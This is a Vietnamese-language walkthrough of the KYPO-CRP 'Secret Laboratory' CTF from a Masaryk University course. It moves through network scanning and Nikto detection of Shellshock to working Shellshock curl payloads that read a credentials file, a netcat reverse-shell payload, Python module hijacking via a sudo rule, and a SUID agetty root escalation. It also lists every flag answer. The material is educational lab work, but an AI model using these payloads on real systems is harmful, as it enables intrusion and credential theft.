
Mục đích thiết kế dự án : Bài viết này là bài viết thứ hai về việc sử dụng Kypo-CRP để xây dựng các thử thách CTF an ninh mạng hoặc môi trường thực hành. Tôi sẽ sử dụng trò chơi CTF kiểm tra xâm nhập "Phòng thí nghiệm bí mật" từ khóa học PV276 – Hội thảo về mô phỏng các cuộc tấn công mạng của Đại học Masaryk học kỳ mùa xuân năm 2020 và như một nghiên cứu điển hình, bài viết này trình bày hai mục tiêu chính:
-
Cách xây dựng và triển khai CTF tùy chỉnh hoặc sandbox bài tập giảng dạy trên nền tảng KYPO-CRP.
-
Cách vận hành trong KYPO-CRP để giải quyết thử thách Phòng thí nghiệm bí mật PV276 từng bước.
Thử thách CTF Phòng thí nghiệm bí mật được thiết kế như một bài tập nâng cao về bảo mật web và thông tin, giới thiệu cho người tham gia quy trình kiểm tra xâm nhập từ góc độ của người phòng thủ. Nó nhấn mạnh việc xác định và khai thác lỗ hổng dịch vụ web, các cuộc tấn công dựa trên CVE và các kỹ thuật bảo vệ dữ liệu được dạy trong khóa học An ninh mạng PV276 của Đại học Masaryk. Sandbox KYPO tương ứng cho thử thách này có sẵn công khai thông qua kho lưu trữ mã nguồn mở chính thức của KYPO trên GitLab (MUNI-KYPO-TRAININGS / games / secret-laboratory), cho phép người học và các chuyên gia thực hành các kỹ năng tấn công và phòng thủ mạng thực tế trong một môi trường thực tế.
# Author: Yuancheng Liu
# Created: 2024/07/21
# Version: v_0.1.2
# License: MIT License
# Kypo-CRP Disclarmer: This training topic is for educational purposes only.The story is fictitious.
Giới thiệu
Trước khi chúng ta đi sâu vào hướng dẫn kỹ thuật về cách giải quyết thử thách Phòng thí nghiệm bí mật, tôi muốn cảm ơn các tác giả của thử thách—Stanislav Boboň, David Hofman và Jakub Smatana—vì đã thiết kế một bài tập thực hành nhỏ gọn, hấp dẫn và phong phú về mặt sư phạm cho giáo dục và cạnh tranh an ninh mạng.
Thử thách Phòng thí nghiệm bí mật bao gồm năm nhiệm vụ tuần tự cùng nhau rèn luyện các kỹ năng an ninh mạng cốt lõi trên các lĩnh vực mạng, quản trị hệ thống Linux, bảo mật web, mật mã và leo thang đặc quyền. Hoàn thành thử thách sẽ giúp người tham gia thoải mái với các khái niệm và kỹ thuật sau:
-
Khám phá và thăm dò mạng cơ bản bằng các công cụ như
fpingvànmap. -
Bố cục hệ thống tệp Linux, cấu hình SSH và cấu hình mô hình quyền người dùng/tệp.
-
Thực hiện kiểm tra xâm nhập tập trung vào một dịch vụ web, bao gồm xác định và khai thác một lỗ hổng đã biết (CVE-2014-6271).
-
Khai thác các quyền được cấu hình sai và thực hiện các cuộc tấn công chiếm quyền điều khiển/ghi đè thư viện để đạt được leo thang đặc quyền và trích xuất thông tin nhạy cảm.
Câu chuyện nền của thử thách
Trên trang thử thách KYPO, người tham gia được chào đón bằng một đoạn tường thuật ngắn trình bày bài tập và đặt ra các mục tiêu như hình dưới đây:

Cốt truyện này cung cấp bối cảnh cho các nhiệm vụ:
Chào mừng! Bạn là một nhân viên an ninh mạng được thuê để thực hiện kiểm tra xâm nhập trên dịch vụ web của một công ty khởi nghiệp để họ có thể khắc phục các sự cố bảo mật sớm. Bạn sẽ được cung cấp một máy Kali trên cùng mạng với máy chủ mục tiêu—hãy sử dụng nó để xác định các lỗ hổng và chứng minh cách chúng có thể bị khai thác.
Môi trường và cấu trúc liên kết mạng
Bài tập chạy trên Nền tảng phạm vi mạng KYPO (KYPO-CRP) và sử dụng CTFd để tính điểm. Đối với mỗi người tham gia, KYPO cung cấp một môi trường đa mạng nhỏ bao gồm hai VM được kết nối với nhau. Cấu trúc liên kết mạng đơn giản được sử dụng trong bài viết này được hiển thị bên dưới:

-
Kẻ tấn công (10.32.51.12) — một Kali VM được cung cấp cho người tham gia. Nó bao gồm các công cụ pentest phổ biến và người tham gia có đặc quyền
sudođể thực hiện các tác vụ. -
Web VM (10.32.51.173) — máy chủ mục tiêu lưu trữ dịch vụ web dễ bị tấn công.
Các câu hỏi CTF và kỹ thuật cốt lõi
Thử thách được cấu trúc thành năm câu hỏi lũy tiến như trong sơ đồ bên dưới

Các mục tiêu và kỹ thuật học tập chính được tóm tắt ở đây:
-
Q1 — Thăm dò mạng: Học cách định hướng bản thân trong Kali Linux và khám phá các máy chủ trong mạng con mục tiêu bằng các công cụ như
fpingvànmap. -
Q2 — Quét dịch vụ: Sử dụng
nmapđể liệt kê các cổng và dịch vụ đang mở trên (các) máy chủ đã khám phá. -
Q3 — Xác định lỗ hổng: Sử dụng các công cụ quét web (ví dụ:
nikto) và nghiên cứu CVE để xác định một dịch vụ dễ bị tấn công và thu thập chi tiết về lỗ hổng. -
Q4 — Khai thác lỗ hổng: Áp dụng một khai thác được thông báo bởi CVE-2014-6271 (Shellshock) để đạt được khả năng thực thi mã trên máy chủ web.
-
Q5 — Truy xuất thông tin bí mật & Leo thang đặc quyền: Khám phá cách chiếm quyền điều khiển thư viện ngôn ngữ thông dịch hoặc ghi đè kết hợp với các quyền tệp được cấu hình sai có thể dẫn đến rò rỉ thông tin và leo thang đặc quyền.
Thử thách Q1: Thăm dò mạng (Khám phá mục tiêu)
Thông tin thử thách CTF :
-
Mục tiêu: Từ Kali VM của bạn trên mạng KYPO, hãy khám phá các máy chủ trong mạng con và gửi tổng số địa chỉ IP (bao gồm cả địa chỉ của bạn) làm cờ.
-
Nhiệm vụ thử thách: Trước bất kỳ kiểm tra xâm nhập (hoặc hoạt động phát hiện/phòng thủ) nào, bạn phải biết bố cục mạng: máy chủ nào tồn tại, IP nào thuộc về mạng con mục tiêu và bạn là nút nào. Điều đó cho phép bạn tập trung quét một cách có trách nhiệm và — từ góc độ của người phòng thủ — nhanh chóng phát hiện các thiết bị mới hoặc đáng ngờ trên mạng.
-
Cờ: Tổng số địa chỉ IP của các nút (bao gồm cả bạn) trong mạng con.
Bước 1.1 - Nhận quyền truy cập SSH vào môi trường KYPO
Người tham gia CTF cần truy cập vào chủ đề đào tạo 2 Nhận quyền truy cập vào môi trường khóa học , nhấp vào nút Nhận cấu hình SSH và làm theo phần "Truy cập vào các VM thử thách khóa học Kypo-Crp" trong UserAccessManual_CR1.pdf để đăng nhập vào VM sandbox của riêng họ. (Như hình dưới đây)

Sau đó, người tham gia có thể đăng nhập vào các sandbox riêng lẻ của họ (như hình dưới đây) bằng khóa SSH đã tải xuống và tệp cấu hình như hình dưới đây:

Bước 1.2 - Xác nhận giao diện mạng và mạng con VM của bạn
Trên Kali attack VM, hãy chạy:
ip addr
# or
ifconfig
Tìm giao diện có IP như 10.32.51.12. Từ địa chỉ này, bạn có thể suy ra mạng con. Trong thử thách này, Kali VM IP của bạn là 10.32.51.12, vì vậy mạng con là 10.32.51.0/24 (tức là các địa chỉ 10.32.51.0–10.32.51.255).
Bước 1.3 - Thăm dò mạng con để tìm các máy chủ đang hoạt động
Người tham gia có thể sử dụng fping (trình ping ICMP nhanh) hoặc nmap để liệt kê các máy chủ đang hoạt động. Các ví dụ được sử dụng trong phòng thí nghiệm:
Với fping (liệt kê tất cả các máy chủ đang hoạt động trong mạng con):
fping -ag 10.32.51.0/24 2>/dev/null
-a in các máy chủ đang hoạt động, -g mở rộng phạm vi. 2>/dev/null ẩn các thông báo lỗi.
Với nmap (chỉ quét ping / khám phá máy chủ):
nmap -sn 10.32.51.0/24
-sn thực hiện khám phá máy chủ mà không thực hiện quét cổng/dịch vụ. (Bạn có thể chạy nmap --help hoặc man nmap để đọc các tùy chọn; -sV là tùy chọn để phát hiện dịch vụ/phiên bản khi bạn muốn liệt kê các dịch vụ sau này.)
Kết quả được hiển thị bên dưới:

Đầu ra của trình quét sẽ liệt kê các địa chỉ IP đã phản hồi. Có 4 nút được hiển thị trong kết quả, sau đó điền vào kết quả 4 trang gửi cờ như hình dưới đây:

Câu trả lời đúng (cờ): 4
Thử thách Q2 : Quét dịch vụ mục tiêu (Liệt kê dịch vụ)
Thông tin thử thách CTF :
-
Mục tiêu: Xác định dịch vụ nào đang chạy trên máy chủ đó và — quan trọng — trích xuất chuỗi phiên bản dịch vụ HTTP. Gửi cờ theo định dạng
httpd ((Debian))
Bước 2.1 - Quét Nmap mục tiêu
Thử nghiệm với các tùy chọn nmap và chạy thăm dò dịch vụ/phiên bản vào mục tiêu. Các tùy chọn hữu ích:
-
-sS— Quét SYN (tàng hình) -
-sV— thăm dò các dịch vụ để phát hiện các phiên bản -
-O— cố gắng phát hiện hệ điều hành
Sử dụng lệnh bên dưới để quét máy chủ mục tiêu:
nmap -sV 10.32.51.173
Kết quả được hiển thị bên dưới:

Từ đầu ra đó, chuỗi Apache là:
Apache httpd 2.4.38 ((Debian))
Điền vào kết quả trong trang gửi cờ:

Câu trả lời đúng (cờ): Apache httpd 2.4.38 ((Debian))
Thử thách Q3 : Xác định lỗ hổng
Thông tin thử thách CTF :
-
Mục tiêu: Quét dịch vụ web đã khám phá để xác định các lỗ hổng đã biết và gửi mã định danh CVE được tìm thấy trong cơ sở dữ liệu lỗ hổng mở.
-
Nhiệm vụ: Biết phần mềm và phiên bản máy chủ (từ Q2) cho phép bạn tìm kiếm các điểm yếu đã biết. Trong nhiệm vụ này, chúng tôi thực hiện quét lỗ hổng web tập trung vào dịch vụ do Apache lưu trữ để khám phá một CVE cụ thể, công khai giải thích cách máy chủ có thể bị khai thác.
-
Cờ: "CVE-xxxx-xxxx" được ghi lại trong Cơ sở dữ liệu lỗ hổng nguồn mở (OSVDB).
Bước 3.1 — Quét bằng Nikto (khám phá các CVE tiềm năng)
Chúng tôi sử dụng Nikto, một trình quét lỗ hổng web đơn giản được cài đặt sẵn trên Kali VM. Nikto kiểm tra một máy chủ web để tìm các sự cố đã biết và sẽ liệt kê các mã định danh CVE liên quan khi nó tìm thấy các thử nghiệm phù hợp.
Chạy:
nikto -h 10.32.51.173
Kết quả:

Nikto sẽ thăm dò các tập lệnh và tiêu đề CGI phổ biến và báo cáo các phát hiện. Trong phòng thí nghiệm này, trình quét phát hiện sự cố liên quan đến Shellshock trong một tập lệnh CGI và đầu ra hiển thị (các) CVE liên quan. Đầu ra ví dụ (ảnh chụp màn hình trong phòng thí nghiệm) hiển thị các mục CVE đã được khám phá.
Đôi khi nếu máy chủ web phản hồi chậm, kết quả của sinh viên có thể hiển thị thông báo bên dưới:
![]()
Điều này là do thiết kế mã plugin của nikto, cả CVE2014-6271 và CVE2013-6278 đều thuộc về lỗ hổng shellshock cho cùng một cgi, nhưng sử dụng Tiêu đề khác nhau cho các API khác nhau. Mã nguồn của plugin phát hiện lỗ hổng shellshock: https://github.com/sullo/nikto/blob/master/program/plugins/nikto_shellshock.plugin
-
CVE2014-6271 : Sử dụng tiêu đề API 'User-Agent' (Công khai)
-
CVE2013-6278 : sử dụng API 'header 'Referer' (Gỡ lỗi)
Bước 3.2 — Xác nhận bằng Nmap (xác minh tùy chọn)
Vì User-Agent là một API công khai, nên hầu hết các công cụ sẽ phát hiện lỗ hổng là CVE2014-6271. Ví dụ: nếu chúng ta sử dụng tập lệnh phát hiện lỗ hổng của Nmap để hiển thị CVE, nó sẽ hiển thị CVE2014-6271, thực tế cả hai câu trả lời đều đúng.
Chạy:
nmap -sV --script http-shellshock --script-args uri=/cgi-bin/printenv 10.32.51.173
Đầu ra của tập lệnh thường sẽ tham chiếu đến CVE-2014-6271 (xem ảnh chụp màn hình bên dưới). Cả Nikto và tập lệnh Nmap này đều là những cách hợp lệ để xác nhận lỗ hổng.

Điền vào cờ trong trang gửi:

Câu trả lời đúng (cờ) là: CVE-2014-6271
Thử thách Q4 : Khai thác lỗ hổng
Thông tin thử thách CTF :
-
Mục tiêu: Hiểu cách kẻ tấn công có thể sử dụng CVE đã khám phá để thực thi các lệnh trên một máy chủ web dễ bị tấn công.
-
Nhiệm vụ: Bạn đã xác định rằng máy chủ web mục tiêu (
10.32.51.173) đang chạy một tập lệnh CGI dễ bị tấn công Shellshock, một lỗ hổng chèn lệnh Bash. Mục tiêu của bạn là khai thác lỗ hổng đó để truy xuất mật khẩu được lưu trữ bởi người dùng cục bộ michael trong một tệp có têncredentials.txt, sau đó sử dụng mật khẩu đó để đăng nhập qua SSH. -
Cờ: mật khẩu được tìm thấy trong
credentials.txt(tức là giá trị bí mật bạn sẽ sử dụng sau này để SSH với tư cách là michael).
Giải pháp 4.1 (Tùy chọn): Liệt kê các thư mục bằng ffuf
Nếu người tham gia không muốn dựa vào tài liệu CVE bên ngoài, họ có thể tấn công vét cạn cấu trúc thư mục web để tìm các điểm cuối có khả năng khai thác.
Lệnh quét thư mục FFuF:
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.32.51.173/FUZZ -t 50
Kết quả:

Sau đó, người tham gia cần thử các danh sách từ khác nhau trong thư mục /usr/share/wordlists và tìm "cgi-bin", sau đó tìm "printenv". Sau đó, họ có thể sử dụng curl để kiểm tra:

Giải pháp 4.2 (Được đề xuất): Khai thác Shellshock trực tiếp bằng cách sử dụng CVE đã biết
Vì Q3 đã xác nhận Shellshock, sinh viên có thể trực tiếp tạo các lệnh chèn để định vị các tệp trên máy chủ.
Định vị tệp thông tin xác thực bằng tải trọng CVE-2014-6271:
curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'find / -type f -name credentials.txt'" \
http://10.32.51.173/cgi-bin/printenv
Kết quả:

Tệp được tìm thấy tại: /var/www/html/credentials.txt
Liệt kê và đọc tệp bằng lệnh:
curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'ls /var/www/html'" http://10.32.51.173/cgi-bin/printenv
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /var/www/html/credentials.txt'" http://10.32.51.173/cgi-bin/printenv

Giải pháp 4.3 (Tùy chọn): Reverse shell qua Netcat
Nếu người hướng dẫn muốn dạy reverse shell và các kỹ thuật sau khai thác:
Bắt đầu trình nghe trên Kali:
nc -lvnp 4444
Kích hoạt Shellshock bằng tải trọng reverse-shell:
curl -H "User-Agent: () { :;}; /bin/nc -e /bin/bash 4444" http://10.32.51.173/cgi-bin/printenv
Sau khi sử dụng, hãy kiểm tra đăng nhập ssh với người dùng michael và xác nhận mật khẩu chính xác, sau đó gửi kết quả (WindOfChange) bên dưới:

Câu trả lời đúng (cờ) là: WindOfChange
Thử thách Q5: Tìm thông tin bí mật
Thông tin thử thách CTF :
-
Mục tiêu: Hiểu các quyền tệp Linux và các bit quyền đặc biệt (đặc biệt là SUID), Chiếm quyền điều khiển thư viện / ghi đè mô-đun trong các ngôn ngữ thông dịch (Python, PHP, Perl, v.v.) và các kỹ thuật leo thang đặc quyền.
-
Nhiệm vụ: Có một tệp bí mật nằm trong
/root, nhưng quyền của nó ngăn người dùng bình thường đọc nó. Bên trong thư mục chính của michael, có hai tệp thuộc sở hữu của root, cả hai đều chỉ đọc đối với anh ta, nhưng vẫn có thể thực thi được. Điều này là bất thường—và đáng ngờ. Nhiệm vụ của họ là tìm cách sử dụng các tệp này như một "cầu nối" để leo thang đặc quyền. -
Cờ: nội dung văn bản trong tệp *txt trong thư mục /root.
Bước 5.1 : Kiểm tra quyền sudo
Trong môi trường thử thách này, một tập lệnh thuộc sở hữu của root có tên try_it.py (chế độ 0644) được đặt bên trong thư mục chính của Michael. Một gợi ý cũng được thêm vào /etc/sudoers:
- name: Allow for user michael to execute python script
lineinfile:
path: /etc/sudoers
insertafter: '^root'
line: 'michael ALL=(john) NOPASSWD: /usr/bin/python3 /home/michael/try_it.py'
Sau đó, kiểm tra thông tin người dùng để tìm người dùng john bằng lệnh sudo:
sudo -l
Kết quả:

Điều này tiết lộ:
-
Người dùng michael được phép chạy
/usr/bin/python3 /home/michael/try_it.py -
Lệnh sẽ được thực thi với tư cách là người dùng john, mà không yêu cầu mật khẩu của john
Bước 5.2 : Xem lại tệp try_it.py
Sau đó, chúng ta kiểm tra tệp try_it.py:

Tập lệnh này là tầm thường—không có logic có thể khai thác. Tuy nhiên:
-
Nó thuộc sở hữu của root
-
Nó được thực thi với các đặc quyền nâng cao (khi chạy qua sudo)
Điều này có nghĩa là chúng ta có thể khai thác hành vi thời gian chạy Python của nó.
Bước 5.3 Chiếm quyền điều khiển thư viện thông qua ghi đè mô-đun Python
Python tìm kiếm các mô-đun theo thứ tự này:
-
Thư mục hiện tại
-
Các thư mục trong
PYTHONPATH -
Các thư mục thư viện hệ thống
Vì try_it.py chứa import random
random bằng cách đặt một file random.py giả vào cùng thư mục. Điều này cho phép chúng ta thực thi các lệnh tùy ý với quyền của người dùng mục tiêu (john).
Tạo file /home/michael/random.py như hình dưới đây:

Các lưu ý quan trọng:
-
Bao gồm shebang chính xác (
#!/usr/bin/python3) -
Sử dụng
os.system/pty.spawn/subprocessđể tạo một shell
Bước 5.4: Thực thi script bị tấn công
Chạy script theo hướng dẫn của sudo:
sudo -u john /usr/bin/python3 /home/michael/try_it.py
Kết quả:

Bây giờ chúng ta đã có một john-shell mà không cần mật khẩu của john. Bởi vì hệ thống nghĩ rằng root đang tạo một shell với tư cách là john (root không bao giờ cần mật khẩu).
Bước 5.5: Leo thang đặc quyền: john → root
Bên trong thư mục home của john, sinh viên sẽ tìm thấy một binary SUID đáng ngờ:

Một binary có tên agetty đang nằm ở đó—điều này là bất thường:
-
agetty là một chương trình đăng nhập hệ thống
-
Nó không nên nằm trong thư mục home của người dùng
-
Nó không nên được đặt SUID
-
Khi SUID-root, agetty trở thành một vector leo thang đặc quyền
Bước 5.6: Sử dụng GTFOBins để leo thang
Tìm kiếm “agetty privilege escalation” hoặc kiểm tra GTFOBins và nhận: https://gtfobins.github.io/gtfobins/agetty/, trang web này xác nhận agetty với SUID có thể tạo một root shell.
Chạy lệnh khai thác:
./agetty -o -p -l /bin/sh -a root tty
Kết quả:

Cấp một root shell và cat file root.txt để lấy flag, nộp flag trong trang Kypo:

Câu trả lời đúng (flag) là: FIIT_STU{got_r00t}
Nếu bạn quan tâm đến các bài viết khác về Kypo CTP và thử thách CTF, vui lòng tham khảo:
Cảm ơn bạn đã dành thời gian xem chi tiết bài viết, nếu bạn có bất kỳ câu hỏi và đề xuất nào hoặc tìm thấy bất kỳ lỗi chương trình nào, vui lòng nhắn tin cho tôi. Rất cảm ơn nếu bạn có thể đưa ra một số nhận xét và chia sẻ bất kỳ lời khuyên cải thiện nào để chúng tôi có thể làm cho công việc của mình tốt hơn ~
last edit by LiuYuancheng ([email protected]) by 15/11/2025 if you have any problem, please send me a message.
No comment for this article.